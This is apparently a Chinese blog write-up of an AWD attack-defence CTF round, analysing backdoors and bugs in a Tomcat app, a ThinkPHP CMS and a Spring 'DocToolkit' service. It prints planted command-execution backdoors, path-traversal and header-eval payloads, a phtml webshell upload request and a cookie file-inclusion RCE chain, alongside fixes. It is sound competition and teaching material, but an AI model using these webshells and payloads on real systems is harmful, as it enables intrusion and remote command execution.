第一届长城杯信息安全铁人三项赛半决赛（第三赛区）AWD WP

rank: 6

tomcat

漏洞1-文件上传getshell

data.sql泄露教师账号密码

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INSERT INTO `teacher` VALUES ('admin','admin1','','','admin@qq.com');

登录后台login.jsp

后台用户上传头像处存在任意文件上传

攻击：

修复：

修改后台密码/修改上传代码/增加waf

漏洞2-默认后门

\webapps\ROOT\forget.jsp存在后门

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<%
    String cmdParameter = request.getParameter("cmd1");
    if (cmdParameter != null && !cmdParameter.isEmpty()) {
        try {
            // 构建系统命令
            ProcessBuilder processBuilder = new ProcessBuilder();
            processBuilder.command("sh", "-c", cmdParameter);

            // 执行命令并获取输出
            Process process = processBuilder.start();
            InputStream inputStream = process.getInputStream();
            BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
            String line;
            StringBuilder output = new StringBuilder();
            while ((line = reader.readLine()) != null) {
                output.append(line).append("\n");
            }

            // 输出命令执行结果
            out.println("Command executed successfully. Output:\n" + output.toString());
        } catch (IOException e) {
            out.println("Error executing command: " + e.getMessage());
        }
    }
%>

攻击：

开局很快都修复了，手动交了两三个

修复：

把密码改了

cms

漏洞1-任意文件读取

\app\frontend\controller\Ajax.php 存在任意文件读取

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public function getfile($file)
{
    $file = root_path().'public/storage/uploads/'.$file;
    // 检查文件是否存在
    if (!file_exists($file)) {
        $result = ['code' => 0, 'msg' => lang('file not exists!')];
        return json($result);
    }

    // 获取文件名
    $fileName = basename($file);

    // 设置HTTP响应头
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename=' . $fileName);
    header('Content-Length: ' . filesize($file));

    // 读取文件并输出给用户
    readfile($file);

    // 终止脚本继续执行
    exit;
}

攻击：

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/frontend/Ajax/getfile?file=../../../../../../flag

修复：

增加过滤

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public function getfile($file)
    {
        $file = root_path().'public/storage/uploads/'.$file;
        // 检查文件是否存在

        $file = str_replace("../","",$file);
        $file = str_replace("flag","",$file);

        if (!file_exists($file)) {
            $result = ['code' => 0, 'msg' => lang('file not exists!')];
            return json($result);
        }

        // 获取文件名
        $fileName = basename($file);

        // 设置HTTP响应头
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename=' . $fileName);
        header('Content-Length: ' . filesize($file));

        // 读取文件并输出给用户
        readfile($file);

        // 终止脚本继续执行
        exit;
    }

漏洞2-默认后门

\app\api\controller\v1\Token.php存在任意命令执行

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<?php
namespace app\api\controller\v1;

use fun\auth\Api;
use think\App;
use think\facade\Request;
use think\facade\Config;

/**
 * 生成token
 */
class Token extends Api
{
    protected $noAuth = ['*'];

    public function __construct(App $app)
    {
        parent::__construct($app);
        //跨域
        header('Access-Control-Allow-Origin:*');
        header('Access-Control-Allow-Headers:Accept,Referer,Host,Keep-Alive,User-Agent,X-Requested-With,Cache-Control,Content-Type,Cookie,token');
        header('Access-Control-Allow-Credentials:true');
        header('Access-Control-Allow-Methods:GET, POST, PATCH, PUT, DELETE,OPTIONS');

    }

    public function build(Request $request)
    {
        $class = ucwords('\\fun\\auth\\'.ucfirst($this->type).'Token');
        $token = $class::instance();
        $token->build();

    }
    public function refresh(Request $request)
    {
        $class = ucwords('\\fun\\auth\\'.ucfirst($this->type).'Token');
        $token = $class::instance();
        $token->refresh();

    }
       public function test(){
    @eval(getallheaders()['Referer']);
    }
}

攻击：

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GET /api/v1.token/test HTTP/1.1
Host: 8.147.134.118:24631
Referer:system("cat /flag");


修复：

添加注释

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public function test(){
    //@eval(getallheaders()['Referer']);
}

漏洞3-文件上传getshell

貌似还有个任意文件上传，比赛的时候没时间看了

赛后复现

注册后的基本设置有上传头像的地方

定位代码

/app/common/service/UploadService.php

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/**
 * @param $file
 * @return bool
 * @throws Exception
 * 检测文件是否符合要求
 */
protected function checkFile()
{
    //禁止上传PHP和HTML.ssh等脚本文件
    if (
//           in_array($this->file->getMime(),
//               ['application/octet-stream', 'text/html','application/x-javascript','text/x-php','aplication/x-msdownload','application/java-archive'])
//           ||
    in_array($this->file->extension(),
        ['php', 'html', 'htm','xml','ssh','bat','jar','java'])) {
        throw new Exception(lang('File format is limited'));
    }
    //文件大小限制
    if (($this->file->getSize() > $this->fileMaxsize*1024)) {
        throw new Exception(lang('File size is limited'));
    }
    //文件类型限制
    if ($this->fileExt !='*' && !in_array($this->file->extension(),explode(',',$this->fileExt))){
        throw new Exception(lang('File type is limited'));
    }
    $file_ext = $this->file->extension();
    if (in_array($this->file->getMime(), ['image/gif', 'image/jpg', 'image/jpeg', 'image/bmp','image/png', 'image/webp']) || in_array($file_ext, ['gif', 'jpg', 'jpeg', 'bmp', 'png','webp'])) {
        $imgInfo = getimagesize($this->file->getPathname());
        if (!$imgInfo || !isset($imgInfo[0]) || !isset($imgInfo[1])) {
            throw new Exception(lang('Uploaded file is not a valid image'));
        }
        $this->width = isset($imgInfo[0]) ? $imgInfo[0] : 0;
        $this->height = isset($imgInfo[1]) ? $imgInfo[1] : 0;
    }
    return true;
}

限制了部分后缀，用phtml绕过

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POST未授权上传，不需要登录

POST /frontend/ajax/uploads HTTP/1.1
Host: 192.168.100.129
Content-Length: 206
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDbISZWkAvBPdc8u0
Origin: http://192.168.100.129
Referer: http://192.168.100.129/frontend/member/set.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundaryDbISZWkAvBPdc8u0
Content-Disposition: form-data; name="file"; filename="1.phtml"
Content-Type: image/jpeg

<?php
eval($_POST['a']);
------WebKitFormBoundaryDbISZWkAvBPdc8u0--

修复

便捷的：增加对phtml的过滤

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in_array($this->file->extension(),
            ['php', 'html', 'htm','xml','ssh','bat','jar','java','phtml'])) {
            throw new Exception(lang('File format is limited'));
        }

或者稍微麻烦一点的，增加一个白名单

/app/frontend/controller/Ajax.php

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/**
 * @return \think\response\Json
 * @throws \think\db\exception\DataNotFoundException
 * @throws \think\db\exception\DbException
 * @throws \think\db\exception\ModelNotFoundException
 * 文件上传总入口 集成qiniu ali tenxunoss
 */
public function uploads()
{
    try {

        $list = ['jpg','png','gif','jpeg'];
        $file = $this->request->file('file');
        $ext = strtolower(pathinfo($file->getOriginalName(), PATHINFO_EXTENSION));
        if (!in_array($ext,$list)){
            throw new Exception('NO');
        }

        $upload = UploadService::instance();
        $result = $upload->uploads(session('member.id'),0);
        return json($result);
    } catch (Exception $e) {
        $this->error($e->getMessage());
    }
}

漏洞4-后台文件上传+文件包含RCE

赛后复现

F12 泄露账号密码

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<script>
    layui.use(['layer', 'jquery'], function () {
        var $ = layui.jquery,
            layer = layui.layer;
        $('.layui-tips').hover(function () {
            layer.tips('账号admin,密码123456');
        })
    })
</script>

访问/backend登录后台

发现有一个离线安装插件的功能

审计代码

/app/backend/controller/Addon.php

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/**
 * @NodeAnnotation(title="离线安装")
 * @throws Exception
 */
public function localinstall()
{
    if($this->request->isAjax()){
        set_time_limit(0);
        $urls = parse_url(input('url'));
        $file = $urls['path']??'';
        if($file && file_exists('.'.$file)){
            try {
                $res = ZipHelper::unzip('.'.$file,'../addons');
            }catch (\Exception $e){
                $this->error($e->getMessage());
            }
            if($res){
                $index = strpos($res, '/');
                $addon = $index ? substr($res,0,$index):$res;
                $this->install($addon,'local');
            }
            $this->success('upload success');
        }
    }
}

/vendor/funadmin/fun-addons/src/helper/ZipHelper.php

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/**
 *  解压文件
 * @param $zipFile 相对文件路劲
 * @param $folderPath 相对文件夹路劲
 */
public static function unzip( $zipFile,$folderPath,$addon=0)
{
    // Initialize archive object
    if (!class_exists('ZipArchive')) {
        throw new \Exception('ZinArchive not find');
    }
    $zip = new \ZipArchive();
    try {
        $zip->open($zipFile);
    } catch (\Exception $e) {
        $zip->close();
        throw new \Exception('Unable to open the zip file');
    }
    if (!is_dir($folderPath)) {
        @mkdir($folderPath, 0755);
    }
    $fileDir = trim($zip->getNameIndex(0), '/');
    //解压压缩包
    try {
        $zip->extractTo($folderPath);
    } catch (\Exception $e) {
        throw new \Exception('Unable to extract the file');
    } finally {
        $zip->close();
    }
    return $fileDir;
}

可以发现虽然报错了，但是依然会解压到addons目录下

但是无法访问到，这里需要用到文件上传+文件包含组合拳进行利用

/app/backend/controller/Ajax.php

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/**
 * @return \think\response\Jsonp
 * 自动加载语言函数
 */
public function lang()
{
    header('Content-Type: application/javascript');
    $name = $this->request->get("controllername");
    $name = strtolower(parse_name($name, 1));
    $app = $this->request->get("app");
    return jsonp($this->loadlang($name, $app))->code(200)->options([
        'var_jsonp_handler' => 'callback',
        'default_jsonp_handler' => 'jsonpReturn',
        'json_encode_param' => JSON_PRETTY_PRINT | JSON_FORCE_OBJECT |JSON_UNESCAPED_UNICODE,
    ])->allowCache(true)->expires(7200);
}

跟进loadlang方法

/app/common/controller/Backend.php

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protected function loadlang($name,$app)
{
    $lang = cookie(config('lang.cookie_var'));
    if($app && $app!=='backend'){
        $res =  Lang::load([
            $this->app->getBasePath() .'backend'. DS . 'lang' . DS . $lang . '.php',
            $this->app->getBasePath() .$app. DS . 'lang' . DS . $lang  . '.php',
            $this->app->getBasePath() .$app. DS . 'lang' . DS . $lang . DS . str_replac('.', DS, $name) . '.php',
        ]);
   }else{
        $res = Lang::load([
            $this->app->getAppPath() . 'lang' . DS . $lang . '.php',
            $this->app->getAppPath() . 'lang' . DS . $lang . DS . str_replace('.', DS,$name) . '.php',
        ]);
    }
    return $res;
}

很明显，从 lang.cookie_var 配置中获取一个cookie值并进行文件包含

查看cookie_var的名字

/config/lang.php

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return [
    // 默认语言
    'default_lang'    => Env::get('lang.default_lang', 'zh-cn'),
    // 允许的语言列表
    'allow_lang_list' => ['zh-cn','en-us'],
    // 多语言自动侦测变量名 / 自动侦测的GET变量名
    'detect_var'      => 'lang',
    // 是否使用Cookie记录
    'use_cookie'      => true,
    // 多语言cookie变量
    'cookie_var'      => 'think_lang',
    // 扩展语言包
    'extend_list'     => [],
    // Accept-Language转义为对应语言包名称
    'accept_language' => [
        'zh-hans-cn' => 'zh-cn',
    ],
    // 是否支持语言分组
    'allow_group'     => true,
];

因为是全局变量，所以任何地方都可以调用

包含的时候注意后缀 .php 已经存在了，不需要再写

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POST / HTTP/1.1
Host: 0dbaba9b-169b-4afb-ab9d-71f60e228260.ctfd.lewiserii.top:8080
Cookie: think_lang=/../../../addons/shell;
Content-Type: application/x-www-form-urlencoded
Content-Length: 19

a=system('whoami');

修复

对 $lang 进行过滤即可

DocToolkit

漏洞1-默认后门

存在默认后门

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package com.example.doctoolkit.controller.test;

import java.io.IOException;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RequestMapping({"/test"})
@RestController
/* loaded from: DocToolkit-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/com/example/doctoolkit/controller/test/TestController.class */
public class TestController {
    @RequestMapping({"/backd0or"})
    public String backdoor(@RequestParam("cmd") String command) throws IOException {
        if (command != null) {
            boolean isLinux = true;
            String osType = System.getProperty("os.name");
            if (osType != null && osType.toLowerCase().contains("windows")) {
                isLinux = false;
            }
            byte[] bytes = new byte[1024];
            String[] cmds = isLinux ? new String[]{"bash", "-c", command} : new String[]{"cmd.exe", "/c", command};
            Process process = new ProcessBuilder(cmds).start();
            int len = process.getInputStream().read(bytes);
            String output = new String(bytes, 0, len);
            return output;
        }
        return null;
    }
}

攻击：

/test/backd0or?cmd=cat /flag

修复：

没修复成功。。

漏洞2-shiro反序列化

有shiro依赖

在shiro的配置文件中发现了固定秘钥

直接用工具打就好了，然后抓流量进行批量

wp
#awd #wp #长城杯
第一届长城杯信息安全铁人三项赛半决赛（第三赛区）AWD WP
https://www.dr0n.top/posts/359b7a99/
作者
dr0n
发布于
2024年4月21日
更新于
2025年7月27日
许可协议